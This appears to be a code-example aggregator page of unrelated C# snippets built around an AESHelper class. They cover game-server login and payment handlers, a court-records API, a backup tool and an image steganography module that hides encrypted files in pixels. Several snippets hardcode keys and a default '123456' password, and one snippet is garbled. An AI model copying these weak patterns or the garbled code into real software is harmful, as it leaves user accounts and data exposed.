     return(AESHelper.EncryptBytes(BitConverter.GetBytes(userCode).Concat <byte>(BitConverter.GetBytes(authTime.ToBinary())).ToArray <byte>(), AuthSettings._aes_key_token, AuthSettings._aes_iv_token).BinaryToHex());
 }
Beispiel #18
0
    public void EditOpenID(string JSon, string from)
    {
        SYS_Users bll = new SYS_Users();

        bll.EditOpenID(AESHelper.Decrypt_android(JSon), from);
    }
Beispiel #19
0
        public override bool Run()
        {
            if (!LocalFileRead.Exists)
            {
                return(false);
            }

            AESHelper aes = AESHelper.Create(this);

            if (aes != null)
            {
                WriteInfo("Using AES Encryption");
            }
            else
            {
                WriteError("Read/Write in RawMode (without any Encryption)");
            }

            using (Bitmap img = (Bitmap)Image.FromFile(LocalFileRead.FullName))
            {
                switch (Mode)
                {
                case EMode.Write:
                {
                    if (!LocalFileWrite.Exists)
                    {
                        WriteError("In this mode LocalFileWrite must exists, and will be replaced with the result image");
                        return(false);
                    }
                    WriteInfo("Start reading file");

                    byte[] data = File.ReadAllBytes(LocalFileWrite.FullName);
                    if (aes != null)
                    {
                        data = aes.Encrypt(data);
                    }

                    byte[] header    = BitConverterHelper.GetBytesInt32(data.Length);
                    int    totalSize = data.Length + header.Length;

                    int av = CalculateMaxLength(img.Width, img.Height);

                    WriteInfo("Bytes to encode", GetSize(totalSize), ConsoleColor.Green);
                    WriteInfo("Bytes available", GetSize(av), ConsoleColor.DarkCyan);

                    if (totalSize <= av)
                    {
                        WriteInfo("Its viable!");
                    }
                    else
                    {
                        WriteError("You need a image more larger or a message more shorter ... sorry :(");
                        return(false);
                    }

                    // crear array binario
                    StringBuilder binary = new StringBuilder();

                    for (int x = 0, m = header.Length; x < m; x++)
                    {
                        binary.Append(Convert.ToString(header[x], 2).PadLeft(8, '0'));
                    }

                    for (int x = 0, m = data.Length; x < m; x++)
                    {
                        binary.Append(Convert.ToString(data[x], 2).PadLeft(8, '0'));
                    }

                    char[] sb  = binary.ToString().ToCharArray();
                    int    sbl = sb.Length;
                    binary.Clear();

                    // Cadena binaria creada
                    int  width   = img.Width;
                    int  height  = img.Height;
                    bool toLower = true;

                    WriteInfo("Start writing image");
                    StartProgress(width * height);

                    byte r, g, b;
                    int  index = 0, current = 0;
                    for (int x = 0; x < width; x++)
                    {
                        for (int y = 0; y < height; y++)
                        {
                            r = GetBinary(sb, ref index, sbl);
                            g = GetBinary(sb, ref index, sbl);
                            b = GetBinary(sb, ref index, sbl);

                            Color clr = img.GetPixel(x, y);

                            clr = SetColor(clr, r, g, b, toLower);
                            img.SetPixel(x, y, clr);

                            current++;
                            WriteProgress(current);
                        }
                    }

                    EndProgress();

                    WriteInfo("Writing output");
                    img.Save(LocalFileWrite.FullName, ImageFormat.Png);
                    break;
                }

                case EMode.Read:
                {
                    WriteInfo("Start reading image");

                    int width  = img.Width;
                    int height = img.Height;
                    int av     = CalculateMaxLength(width, height);

                    StartProgress(width * height);

                    byte[] data   = null;
                    byte[] header = new byte[4];

                    string binary = "";

                    int  dataLength   = 0;
                    int  dataIndex    = 0;
                    int  headerReaded = 0;
                    byte b;
                    int  current = 0;
                    for (int x = 0; x < width; x++)
                    {
                        for (int y = 0; y < height; y++)
                        {
                            Color clr = img.GetPixel(x, y);

                            if (Append(ref binary, out b, clr.R % 2 == 0, clr.G % 2 == 0, clr.B % 2 == 0))
                            {
                                if (headerReaded < 4)
                                {
                                    header[headerReaded] = b;
                                    headerReaded++;

                                    if (headerReaded == 4)
                                    {
                                        dataLength = BitConverterHelper.ToInt32(header, 0);

                                        if (dataLength > av)
                                        {
                                            EndProgress();

                                            WriteInfo("Image maybe contains", GetSize(dataLength), ConsoleColor.Green);
                                            WriteError("Max bytes available " + GetSize(av));
                                            return(false);
                                        }

                                        data = new byte[dataLength];
                                    }
                                }
                                else
                                {
                                    data[dataIndex] = b;
                                    dataIndex++;
                                    if (dataIndex >= dataLength)
                                    {
                                        x = width + 1;
                                        break;
                                    }
                                }
                            }

                            current++;
                            WriteProgress(current);
                        }
                    }

                    EndProgress();

                    if (aes != null)
                    {
                        WriteInfo("Start decrypting file", GetSize(data.Length), ConsoleColor.Green);
                        data = aes.Decrypt(data);
                    }

                    if (data == null)
                    {
                        WriteInfo("Error decrypting file");
                        return(false);
                    }

                    WriteInfo("Writing output", GetSize(data.Length), ConsoleColor.Green);
                    File.WriteAllBytes(LocalFileWrite.FullName, data);

                    break;
                }
                }
            }

            return(true);
        }
Beispiel #20
0
        private void HandleMessage(object sender, TcpClient.ReceiveEventArgs e)
        {
            this.Traffic_In += e.Data.Length;

            TcpClient tcpClient = sender as TcpClient;

#if GZIP
            string text = GZip.Decompress(e.Data).GetString();
#else
            string text = e.Data.GetString();
#endif
            DataReceived?.Invoke(this, new DataReceivedEventArgs(tcpClient.RemoteAddress.Address, tcpClient.RemoteAddress.Port, text));

            this.Logger.Debug($"DataReceived: {tcpClient.RemoteAddress}");

            try {
                MessageBody message = this.JsonSerialzation.Deserialize <MessageBody>(text);

                if (message.Flag == MessageFlag.RequestPublicKey)
                {
                    this.Logger.Debug("AKA", $"客户端    : 请求公钥 - {tcpClient.RemoteAddress}");
                    this.SendPublicKey(tcpClient);
                    this.Logger.Debug("AKA", $"发送      : 服务端公钥- {tcpClient.RemoteAddress}");
                }
                else if (message.Flag == MessageFlag.RequestValidate)
                {
                    this.Logger.Debug("AKA", $"客户端    : 请求签名 - {tcpClient.RemoteAddress}");
                    byte[] rawData = RSAHelper.Decrypt(message.Content, this.RSAKey);
                    if (rawData != null)
                    {
                        this.SendSignature(rawData, tcpClient);
                        this.Logger.Debug("AKA", $"发送      : 服务端签名 - {tcpClient.RemoteAddress}");
                    }
                    else
                    {
                        this.RefuseSignature(tcpClient);
                        this.Logger.Debug("AKA", $"解析数据  : 失败 - {tcpClient.RemoteAddress}");
                    }
                }
                else if (message.Flag == MessageFlag.SendClientPublicKey)
                {
                    this.Logger.Debug("AKA", $"接受      : 客户端公钥 - {tcpClient.RemoteAddress}");
                    this.Logger.Debug("AKA", $"生成      : AES密钥 - {tcpClient.RemoteAddress}");
                    this.GenerateAndSendAESKey(message.Content, tcpClient);
                    this.Logger.Debug("AKA", $"发送      : AES密钥 - {tcpClient.RemoteAddress}");
                }
                else if (message.Flag == MessageFlag.Message)
                {
                    if (!string.IsNullOrWhiteSpace(message.Guid) && this.AESKeyList.ContainsKey(message.Guid))
                    {
                        AESKey key = this.AESKeyList[message.Guid];

                        CallBody call = message.Content != null?this.JsonSerialzation.Deserialize <CallBody>(AESHelper.Decrypt(message.Content, key).GetString()) : null;

                        if (this.UserList.ContainsKey(message.Guid))
                        {
                            IServerUser user = this.UserList[message.Guid];
                            user.RefreshHeartBeat();
                            this.Logger.Debug($"RefreshHeartBeat: {user.Name} / {user.Guid}");

                            if (call != null)
                            {
                                ThreadPool.QueueUserWorkItem((x) => {
                                    var tuple = x as Tuple <Server <TConfig>, CallBody, ICaller>;
                                    tuple.Item1.CallFunction(tuple.Item2.Call, tuple.Item2.Args, tuple.Item3);
                                }, new Tuple <Server <TConfig>, CallBody, ICaller>(this, call, user));
                            }
                        }
                        else
                        {
                            //新登录
                            if (call == null)
                            {
                                return;
                            }
                            if (call.Call == "login")
                            {
                                this.Logger.Debug($"尝试登入 - {tcpClient.RemoteAddress.Address}");

                                ServerUser user = new ServerUser()
                                {
                                    Guid       = message.Guid,
                                    Server     = this,
                                    Name       = null,
                                    NetAddress = tcpClient.RemoteAddress,
                                    AESKey     = this.AESKeyList[message.Guid]
                                };

                                if (ClientPreLogin != null)
                                {
                                    ClientPreLoginEventArgs <ServerUser> eventArgs = new ClientPreLoginEventArgs <ServerUser>(ref user, call.Args);
                                    ClientPreLogin?.Invoke(this, eventArgs);
                                    user = eventArgs.User;
                                }

                                if (user != null)
                                {
                                    user._TcpClient = tcpClient;
                                    if (user.Status == UserStatus.Online)
                                    {
                                        user.LoginTime = DateTime.Now;

                                        user.SocketError += (x, y) => {
                                            this.Logger.Error("SocketError", y.Exception.Message);
                                            ForceLogout(this.UserList[y.Guid]);
                                        };

                                        user.RefreshHeartBeat();

                                        this.UserList.Add(user.Guid, user);

                                        Arguments args = new Arguments();
                                        args.Put("status", true);
                                        args.Put("guid", user.Guid);
                                        args.Put("name", user.Name);

                                        user.CallFunction("login", args);

                                        ClientLogin?.Invoke(this, new ClientEventArgs <IServerUser>(user, ClientLoginStatus.Success));

                                        this.Logger.Debug($"登入成功 - {tcpClient.RemoteAddress.Address}");
                                    }
                                    else if (user.Status == UserStatus.Offline)
                                    {
                                        Arguments args = new Arguments();
                                        args.Put("status", false);
                                        ClientLogin?.Invoke(this, new ClientEventArgs <IServerUser>(user, ClientLoginStatus.Fail));
                                        user.CallFunction("login", args);
                                        this.Logger.Error($"登入失败 - {tcpClient.RemoteAddress.Address}");
                                    }
                                }
                            }
                        }
                    }
                }
            } catch (Exception ex) {
                this.Logger.Error(ex.Message);
            }
        }
        public override bool Run()
        {
            if (!File.Exists)
            {
                return(false);
            }
            if (!OutFolder.Exists)
            {
                return(false);
            }

            AESHelper aes = AESHelper.Create(this);

            if (aes != null)
            {
                WriteInfo("Using AES Encryption");
            }
            else
            {
                WriteError("Read in RawMode (without any Encryption)");
            }

            WriteInfo("Start reading file ...");
            Dictionary <string, List <packet> > dic = new Dictionary <string, List <packet> >();

            using (Stream fs = (Stream)File.OpenRead())
                using (StreamReader sr = new StreamReader(fs))
                {
                    string line;
                    while ((line = sr.ReadLine()) != null)
                    {
                        string fileId;
                        packet packet;

                        if (!parse(line, out fileId, out packet))
                        {
                            continue;
                        }

                        if (dic.ContainsKey(fileId))
                        {
                            dic[fileId].Add(packet);
                        }
                        else
                        {
                            List <packet> pc = new List <packet>();
                            pc.Add(packet);
                            dic.Add(fileId, pc);
                        }
                    }
                }

            WriteInfo("Located " + dic.Keys.Count.ToString() + (dic.Keys.Count == 1 ? " file" : " files"));
            if (dic.Keys.Count > 0)
            {
                WriteInfo("Reordering packets ...");

                foreach (string k in dic.Keys)
                {
                    List <packet> p = dic[k];
                    p.Sort(sortPacket);
                }

                WriteInfo("Dump files ...");

                foreach (string k in dic.Keys)
                {
                    List <packet> lp   = dic[k];
                    string        path = OutFolder + System.IO.Path.DirectorySeparatorChar.ToString() + k + ".dat";

                    using (MemoryStream ms = new MemoryStream())
                    {
                        foreach (packet p in lp)
                        {
                            ms.Write(p.Data, 0, p.Data.Length);
                        }

                        if (aes != null)
                        {
                            byte[] d = aes.Decrypt(ms.ToArray());
                            if (d == null)
                            {
                                WriteError("Error in decrypt process");
                                continue;
                            }
                            System.IO.File.WriteAllBytes(path, d);
                        }
                        else
                        {
                            System.IO.File.WriteAllBytes(path, ms.ToArray());
                        }

                        WriteInfo("Created file '" + path + "'", new FileInfo(path).Length.ToString(), ConsoleColor.Green);
                    }
                }
            }
            return(true);
        }
Beispiel #22
0
        protected void Page_Load(object sender, EventArgs e)
        {
            NameValueCollection req = Request.Form;
            string args             = "";

            foreach (string key in req.AllKeys)
            {
                args += key + "=" + req[key] + "&";
            }
            args = args.Substring(0, args.Length - 1);

            LoginInfo loginInfo = null;

            try
            {
                loginInfo = JsonHelper.ParseFromStr <LoginInfo>(req["server_ext_for_login"]);
            }
            catch (Exception ex)
            {
            }
            string msg = "";

            try
            {
                Uri            uri       = new Uri(login);
                HttpWebRequest requester = WebRequest.Create(uri) as HttpWebRequest;
                requester.Method  = "POST";
                requester.Timeout = 3000;
                byte[] bs = Encoding.UTF8.GetBytes(args);
                requester.ContentType   = "application/x-www-form-urlencoded";
                requester.ContentLength = bs.Length;
                using (Stream reqStream = requester.GetRequestStream())
                {
                    reqStream.Write(bs, 0, bs.Length);
                }

                HttpWebResponse responser = requester.GetResponse() as HttpWebResponse;
                StreamReader    reader    = new StreamReader(responser.GetResponseStream(), Encoding.UTF8);
                msg = reader.ReadToEnd();

                JavaScriptSerializer        serializer = new JavaScriptSerializer();
                Dictionary <string, object> rets       = serializer.Deserialize <Dictionary <string, object> >(msg);
                if (rets["status"].ToString() == "ok")
                {
                    //因为支付而调用SDK登录,记录数据
                    bool isPayLogin = false;

                    Dictionary <string, object> savedata = (Dictionary <string, object>)rets["common"];

                    if (savedata.ContainsKey("server_id"))
                    {
                        if (savedata["server_id"].ToString() == "payLogin")
                        {
                            isPayLogin = true;
                        }
                    }
                    if (loginInfo != null && loginInfo.isPayLogin.Equals("true"))
                    {
                        isPayLogin = true;
                    }

                    if (!isPayLogin)
                    {
                        Random   rd      = new Random();
                        DateTime now     = DateTime.Now;
                        int      randkey = rd.Next();
                        savedata["randkey"]  = randkey;
                        savedata["lasttime"] = now.Ticks;
                        savedata["ip"]       = Request.ServerVariables.Get("Remote_Addr").ToString();
                        string clientkey = randkey.ToString() + ":" + now.Ticks.ToString();
                        rets["ext"] = AESHelper.AESEncrypt(clientkey, AES_KEY);

                        string channelID = savedata["channel"].ToString();
                        string tempacc   = savedata["channel"].ToString() + "_" + savedata["uid"].ToString();
                        if (MongodbAccount.Instance.KeyExistsBykey("anysdk_login", "acc", tempacc) == false)
                        {
                            Dictionary <string, object> savelog = new Dictionary <string, object>();
                            savelog["acc"]      = tempacc;
                            savelog["acc_real"] = tempacc;
                            savelog["ip"]       = Request.ServerVariables.Get("Remote_Addr").ToString();
                            savelog["time"]     = now;
                            savelog["channel"]  = channelID;

                            MongodbAccount.Instance.ExecuteInsert("RegisterLog", savelog);
                        }

                        msg = MongodbAccount.Instance.ExecuteStoreBykey("anysdk_login", "acc", tempacc, savedata);
                        if (msg == "")
                        {
                            msg = serializer.Serialize(rets);

                            Dictionary <string, object> savelog = new Dictionary <string, object>();
                            savelog["acc"]      = tempacc;
                            savelog["acc_real"] = tempacc;
                            if (loginInfo != null && !string.IsNullOrEmpty(loginInfo.deviceID))
                            {
                                savelog["acc_dev"] = loginInfo.deviceID;
                            }
                            savelog["ip"]      = Request.ServerVariables.Get("Remote_Addr").ToString();
                            savelog["time"]    = now;
                            savelog["channel"] = channelID;

                            MongodbAccount.Instance.ExecuteInsert("LoginLog", savelog);
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                msg = ex.Message;
            }

            Response.Write(msg);
        }
Beispiel #23
0
        public string EditInf(UserInf v)
        {
            if (v.Token == DataHelper.getToken())
            {
                string wramStr = "";
                if (string.IsNullOrEmpty(v.OldPassword))
                {
                    wramStr = "旧密码不能为空";
                    return(ConvertHelper.resultJson(0, wramStr));
                }
                else if (string.IsNullOrEmpty(v.NewPassword))
                {
                    wramStr = "新密码不能为空";
                    return(ConvertHelper.resultJson(0, wramStr));
                }
                else
                {
                    string p = "";
                    p += "UserName="******"OldPassword="******"NewPassword="******"select count(*) from T_UserInf where UserName=@UserName and UPassword=@UPassword";
                        SqlParameter[] pms1 = new SqlParameter[] {
                            new SqlParameter("@UPassword", SqlDbType.NVarChar)
                            {
                                Value = (oldPwd)
                            },
                            new SqlParameter("@UserName", SqlDbType.NVarChar)
                            {
                                Value = (username)
                            }
                        };
                        try
                        {
                            object c = SQLHelper.ExecuteScalar(sql1, System.Data.CommandType.Text, pms1);
                            if (Convert.ToInt32(c) > 0)
                            {
                                string sql2 = "update T_UserInf set UPassword=@UPassword";
                                sql2 += " where UserName=@UserName";
                                SqlParameter[] pms2 = new SqlParameter[] {
                                    new SqlParameter("@UPassword", SqlDbType.NVarChar)
                                    {
                                        Value = pwd
                                    },
                                    new SqlParameter("@UserName", SqlDbType.NVarChar)
                                    {
                                        Value = username
                                    }
                                };
                                try
                                {
                                    int result = SQLHelper.ExecuteNonQuery(sql2, System.Data.CommandType.Text, pms2);
                                    return(ConvertHelper.IntToJson(result));
                                }
                                catch (Exception e)
                                {
                                    //在webapi中要想抛出异常必须这样抛出,否则之抛出一个默认500的异常
                                    var resp = new HttpResponseMessage(HttpStatusCode.InternalServerError)
                                    {
                                        Content      = new StringContent(e.ToString()),
                                        ReasonPhrase = "error"
                                    };
                                    throw new HttpResponseException(resp);
                                }
                            }
                            else
                            {
                                return(ConvertHelper.resultJson(0, "旧密码不正确!"));
                            }
                        }
                        catch (Exception e)
                        {
                            //在webapi中要想抛出异常必须这样抛出,否则之抛出一个默认500的异常
                            var resp = new HttpResponseMessage(HttpStatusCode.InternalServerError)
                            {
                                Content      = new StringContent(e.ToString()),
                                ReasonPhrase = "error"
                            };
                            throw new HttpResponseException(resp);
                        }
                        //string sql = "insert into T_VisitorAccessInf(VName, VSex, VNation, VBirthDate, VAddress, VIssuingAuthority, VExpiryDate, VCertificatePhoto, VLocalePhoto, VCertificateType, VCertificateNumber, VType, VFromCourtId, VInTime, VOutTime, VInPost, VOutPost, VInDoorkeeper, VOutDoorkeeper, VVisitingReason, VIntervieweeDept, VInterviewee, VOffice, VOfficePhone, VExtensionPhone, VMobilePhone, VRemark) values(@VName, @VSex, @VNation, @VBirthDate, @VAddress, @VIssuingAuthority, @VExpiryDate, @VCertificatePhoto, @VLocalePhoto, @VCertificateType, @VCertificateNumber, @VType, @VFromCourtId, @VInTime, @VOutTime, @VInPost, @VOutPost, @VInDoorkeeper, @VOutDoorkeeper, @VVisitingReason, @VIntervieweeDept, @VInterviewee, @VOffice, @VOfficePhone, @VExtensionPhone, @VMobilePhone, @VRemark)";
                    }
                    else
                    {
                        return(ConvertHelper.resultJson(0, "数据在传输过程中被篡改!"));
                    }
                }
            }
            else
            {
                return(ConvertHelper.resultJson(0, "权限受限!"));
            }
        }
        protected void Page_Load(object sender, EventArgs e)
        {
            string platform  = Request.Form["platform"];
            string acc       = Request.Form["acc"];
            string logintime = Request.Form["logintime"];
            string sign      = Request.Form["sign"];
            string loginkey  = Request.Form["loginkey"];

            if (string.IsNullOrEmpty(platform))
            {
                Response.Write(Helper.buildLuaReturn(-1, "platform is empty"));
                return;
            }
            if (string.IsNullOrEmpty(acc))
            {
                Response.Write(Helper.buildLuaReturn(-1, "acc is empty"));
                return;
            }
            if (string.IsNullOrEmpty(logintime))
            {
                Response.Write(Helper.buildLuaReturn(-1, "logintime is empty"));
                return;
            }
            if (string.IsNullOrEmpty(sign))
            {
                Response.Write(Helper.buildLuaReturn(-1, "sign is empty"));
                return;
            }
            if (string.IsNullOrEmpty(loginkey))
            {
                Response.Write(Helper.buildLuaReturn(-1, "loginkey is empty"));
                return;
            }

            string rsakey = Encoding.Default.GetString(Convert.FromBase64String(loginkey));

            rsakey = AESHelper.AESDecrypt(rsakey, AES_KEY);

            string source = string.Format("username={0}&appkey=3f2fadb37dd503fe686cdfb33ab8c095&logintime={1}", acc, logintime);

            if (Helper.checkMD5(source, sign))
            {
                string acc_table = "wanke_acc";
                string pwd       = Helper.getMD5("123456");
                //判断是否存在帐号
                if (MongodbAccount.Instance.KeyExistsBykey(acc_table, "acc", acc))
                {
                    //检测帐号是否能登陆
                    int retCode = tryLogin(acc, pwd, acc_table);
                    if (retCode == 0)
                    {
                        Random rd      = new Random();
                        int    randkey = rd.Next();
                        Dictionary <string, object> updata = new Dictionary <string, object>();
                        DateTime now = DateTime.Now;
                        updata["randkey"]  = randkey;
                        updata["lasttime"] = now.Ticks;
                        updata["lastip"]   = Request.ServerVariables.Get("Remote_Addr").ToString();
                        string strerr = MongodbAccount.Instance.ExecuteUpdate(acc_table, "acc", acc, updata);
                        if (strerr != "")
                        {
                            Response.Write(BuildAccount.buildLuaReturn(-11, "server error"));
                        }
                        else
                        {
                            RSAHelper rsa = new RSAHelper();
                            rsa.setModulus(rsakey);

                            string clientkey = randkey.ToString() + ":" + now.Ticks.ToString();
                            Response.Write(BuildAccount.buildLuaReturn(0, AESHelper.AESEncrypt(clientkey, AES_KEY)));

                            Dictionary <string, object> savelog = new Dictionary <string, object>();
                            savelog["acc"]      = acc;
                            savelog["acc_real"] = acc;
                            string deviceID = Request.Params["deviceID"];
                            if (!string.IsNullOrEmpty(deviceID))
                            {
                                savelog["acc_dev"] = deviceID;
                            }
                            savelog["ip"]   = Request.ServerVariables.Get("Remote_Addr").ToString();
                            savelog["time"] = now;
                            MongodbAccount.Instance.ExecuteInsert("LoginLog", savelog);
                        }
                    }
                    else
                    {
                        Response.Write(BuildAccount.buildLuaReturn(retCode, "acc error"));
                    }
                }
                else
                {
                    //注册新帐号
                    Random rd      = new Random();
                    int    randkey = rd.Next();
                    Dictionary <string, object> updata = new Dictionary <string, object>();
                    updata["acc"] = acc;
                    updata["pwd"] = pwd;
                    DateTime now = DateTime.Now;
                    updata["randkey"]     = randkey;
                    updata["lasttime"]    = now.Ticks;
                    updata["regedittime"] = now;
                    updata["regeditip"]   = Request.ServerVariables.Get("Remote_Addr").ToString();
                    updata["updatepwd"]   = false;
                    updata["platform"]    = platform;

                    string strerr = MongodbAccount.Instance.ExecuteStoreBykey(acc_table, "acc", acc, updata);
                    if (strerr != "")
                    {
                        Response.Write(BuildAccount.buildLuaReturn(-11, "server error"));
                    }
                    else
                    {
                        RSAHelper rsa = new RSAHelper();
                        rsa.setModulus(rsakey);

                        string clientkey = randkey.ToString() + ":" + now.Ticks.ToString();
                        Response.Write(BuildAccount.buildLuaReturn(0, AESHelper.AESEncrypt(clientkey, AES_KEY)));

                        Dictionary <string, object> savelog = new Dictionary <string, object>();
                        savelog["acc"]      = acc;
                        savelog["acc_real"] = acc;
                        string deviceID = Request.Params["deviceID"];
                        if (!string.IsNullOrEmpty(deviceID))
                        {
                            savelog["acc_dev"] = deviceID;
                        }
                        savelog["ip"]   = Request.ServerVariables.Get("Remote_Addr").ToString();
                        savelog["time"] = now;
                        MongodbAccount.Instance.ExecuteInsert("LoginLog", savelog);
                    }
                }
            }
            else
            {
                Response.Write(Helper.buildLuaReturn(-2, "sign is error"));
                return;
            }
        }
Beispiel #25
0
        public string AddInf4Web(CourtInf v)
        {
            string wramStr = "";

            if (v.CNumber == "" || v.CNumber == null)
            {
                wramStr = "法院编号不能为空";
                return("{\"code\":0,\"msg\":\"" + wramStr + "\"}");
            }
            if (v.CName == "" || v.CName == null)
            {
                wramStr = "法院名称不能为空";
                return("{\"code\":0,\"msg\":\"" + wramStr + "\"}");
            }
            if (v.CLinkman == "" || v.CLinkman == null)
            {
                wramStr = "联系人不能为空";
                return("{\"code\":0,\"msg\":\"" + wramStr + "\"}");
            }
            if (v.CWorkTelephone == "" || v.CWorkTelephone == null)
            {
                wramStr = "单位电话不能为空";
                return("{\"code\":0,\"msg\":\"" + wramStr + "\"}");
            }
            string linkman       = v.CLinkman.Replace(" ", "+");
            string workTelephone = v.CWorkTelephone.Replace(" ", "+");

            string p = "";

            p += "CNumber=" + v.CNumber;
            p += "&CName=" + v.CName;
            p += "&CLinkman=" + linkman;
            p += "&CWorkTelephone=" + workTelephone;
            p += "&CAddress=" + v.CAddress;
            p += "&CLongitude=" + v.CLongitude;
            p += "&CLatitude=" + v.CLatitude;

            string md5Ciphertext = v.CMD5Ciphertext;//对方传过来的所有字段的MD5密文
            //把传过来的信息再次MD5加密,和所有字段的MD5密文进行比对,保证数据在传输过程中没被修改才允许添加到数据库
            string md5P = MD5Helper._md5(p);

            if (md5Ciphertext == md5P)
            {
                string sql = "insert into T_CourtInf(CNumber, CName, CLinkman, CWorkTelephone, CAddress, CLongitude, CLatitude) values(@CNumber, @CName, @CLinkman, @WorkTelephone, @CAddress, @CLongitude, @CLatitude)";
                workTelephone = RSAHelper.DecryptWithPrivateKey(privateKey, workTelephone);
                SqlParameter[] pms = new SqlParameter[] {
                    new SqlParameter("@CNumber", SqlDbType.NVarChar)
                    {
                        Value = v.CNumber
                    },
                    new SqlParameter("@CName", SqlDbType.NVarChar)
                    {
                        Value = v.CName
                    },
                    new SqlParameter("@CLinkman", SqlDbType.NVarChar)
                    {
                        Value = AESHelper.AesDecrypt(linkman)
                    },
                    new SqlParameter("@CWorkTelephone", SqlDbType.NVarChar)
                    {
                        Value = AESHelper.AesDecrypt(workTelephone)
                    },
                    new SqlParameter("@CAddress", SqlDbType.NVarChar)
                    {
                        Value = DataHelper.IsNullReturnLine(v.CAddress)
                    },
                    new SqlParameter("@CLongitude", SqlDbType.NVarChar)
                    {
                        Value = DataHelper.IsNullReturnLine(v.CLongitude)
                    },
                    new SqlParameter("@CLatitude", SqlDbType.NVarChar)
                    {
                        Value = DataHelper.IsNullReturnLine(v.CLatitude)
                    }
                };
                try
                {
                    int result = SQLHelper.ExecuteNonQuery(sql, System.Data.CommandType.StoredProcedure, pms);
                    return(ConvertHelper.IntToJson(result));
                }
                catch (Exception e)
                {
                    //在webapi中要想抛出异常必须这样抛出,否则只抛出一个默认500的异常
                    var resp = new HttpResponseMessage(HttpStatusCode.InternalServerError)
                    {
                        Content      = new StringContent(e.ToString()),
                        ReasonPhrase = "error"
                    };
                    throw new HttpResponseException(resp);
                }
            }
            else
            {
                return(ConvertHelper.resultJson(0, "数据传输过程中被篡改"));
            }
        }
Beispiel #26
0
        private void buttonSave_Click(object sender, EventArgs e)
        {
            if (comboBoxDatabase.SelectedItem == null)
            {
                MessageBox.Show("未输入数据库名");
                return;
            }
            if (textBoxDbUser.Text == "")
            {
                MessageBox.Show("未输入数据库用户名");
                return;
            }
            if (comboBoxDatabase.SelectedItem.ToString() == "")
            {
                MessageBox.Show("未输入数据库");
                return;
            }

            AppSetingHelper.UpdateAppString("DatabaseName", AESHelper.AESEncrypt(GlobleVariable.DatabaseName, "adsfadsfadfadsfasasdfads"));
            AppSetingHelper.UpdateAppString("DatabaseUser", AESHelper.AESEncrypt(GlobleVariable.DatabaseUser, "adsfadsfadfadsfasasdfads"));
            AppSetingHelper.UpdateAppString("DatabasePassword", AESHelper.AESEncrypt(GlobleVariable.DatabasePassword, "adsfadsfadfadsfasasdfads"));
            AppSetingHelper.UpdateAppString("LocalKeepDay", "-" + numericUpDownLocalKeepDay.Value.ToString());
            AppSetingHelper.UpdateAppString("BackupTime", numericUpDownBackupTime.Value.ToString());


            AppSetingHelper.UpdateAppString("RunTime", "1");

            GlobleVariable.LocalKeeyDay = -1 * (int)numericUpDownLocalKeepDay.Value;

            string outFangyouClient, outFangyouVer;

            GetFangyouInfo(out outFangyouVer, out outFangyouClient);
            GlobleVariable.FangyouClient = outFangyouClient;
            GlobleVariable.FangyouVer    = outFangyouVer;
            AppSetingHelper.UpdateAppString("FangyouVer", outFangyouVer);
            AppSetingHelper.UpdateAppString("FangyouClient", outFangyouClient);
            var sqlBase = new SqlBase();

            GlobleVariable.SqlServerType = sqlBase.GetSqlVersion();
            AppSetingHelper.UpdateAppString("SqlType", GlobleVariable.SqlServerType.ToString());
            AppSetingHelper.UpdateAppString("LocalKeeyDay", GlobleVariable.LocalKeeyDay.ToString());

            var result = MessageBox.Show("是否立即执行备份工作?", "提示", MessageBoxButtons.YesNo);

            if (result == DialogResult.Yes)
            {
                var checkSql = new SqlBase();
                GlobleVariable.Progress = true;
                switch (checkSql.GetSqlVersion())
                {
                case SqlTypeEnum.Sql2000:
                    var backup2000 = new Sql2000();
                    backup2000.Backup();
                    break;

                case SqlTypeEnum.Sql2005:
                    var backup2005 = new Sql2005();
                    backup2005.Backup();
                    break;

                case SqlTypeEnum.Sql2008:
                    var backup2008 = new Sql2008();
                    backup2008.Backup();
                    break;
                }
            }

            this.Close();
        }
Beispiel #27
0
        protected void Page_Load(object sender, EventArgs e)
        {
            NameValueCollection req = Request.QueryString;

            if (req.Count <= 0)
            {
                Response.Write("param error");
                return;
            }

            Dictionary <string, object> data = new Dictionary <string, object>();

            foreach (string key in req)
            {
                data[key] = req[key];
            }

            if (!data.ContainsKey("orderid") || !data.ContainsKey("userid") || !data.ContainsKey("currencytype") ||
                !data.ContainsKey("currencycount") || !data.ContainsKey("vipexp") || !data.ContainsKey("sign"))
            {
                Response.Write("param error");
                return;
            }


            string url = "orderid=" + data["orderid"].ToString() + "&userid=" + data["userid"].ToString() + "&currencytype=" +
                         data["currencytype"].ToString() + "&currencycount=" + data["currencycount"].ToString() + "&vipexp=" + data["vipexp"].ToString();

            string checkmd5 = url + "&secretKey=" + secretKey;

            checkmd5 = AESHelper.MD5Encrypt(checkmd5);
            if (checkmd5 != data["sign"].ToString())
            {
                Response.Write("check error");
                return;
            }

            if (MongodbPayment.Instance.KeyExistsBykey("th_pay", "orderid", data["orderid"].ToString()))
            {
                Response.Write("orderid exist");
                return;
            }

            data["PayTime"] = DateTime.Now;
            data["Process"] = false;
            data.Remove("sign");

            if (!MongodbPayment.Instance.ExecuteInsert("th_pay", data))
            {
                Response.Write("db error");
                return;
            }


            string server_api = "http://" + ConfigurationManager.AppSettings["server_api"].ToString() + "/cmd=1&" + url;

            try
            {
                var ret = HttpPost.Post(new Uri(server_api));
                if (ret != null)
                {
                    string retstr = Encoding.UTF8.GetString(ret);
                    Response.Write(retstr);
                    return;
                }
            }
            catch (Exception)
            {
                //投递失败 玩家下次登录可以检测充值
            }

            Response.Write("success");
        }
 public EncryptVerifyService(UserService serUser, IOptions <ApplicationSettings> appSettings, AESHelper aesHelper)
 {
     _appSettings = appSettings.Value;
     _serUser     = serUser;
     _aesHelper   = aesHelper;
 }
Beispiel #29
0
        string encryptUrl(string src)
        {
            string dec = AESHelper.AESEncrypt(src, AES_KEY);

            return(Convert.ToBase64String(Encoding.Default.GetBytes(dec)));
        }
Beispiel #30
0
        internal static string Encrypt(string imei, string url, string userAgent, double lng, double lat)
        {
            url       = url.ToLower().Trim();
            userAgent = userAgent.ToLower().Trim();
            int      num  = (int)(lng * 10000000.0);
            int      num2 = (int)(lat * 10000000.0);
            string   str  = string.Format("{0}{1}{2}", url, num, num2);
            string   str2 = string.Format("{0}{1}{2}", userAgent, num, num2);
            int      num3 = Math.Abs(GetHashCode2(str));
            int      num4 = Math.Abs(GetHashCode2(str2));
            DateTime time = _init_time.AddSeconds((double)-num3);
            TimeSpan span = (TimeSpan)(DateTime.Now - time);
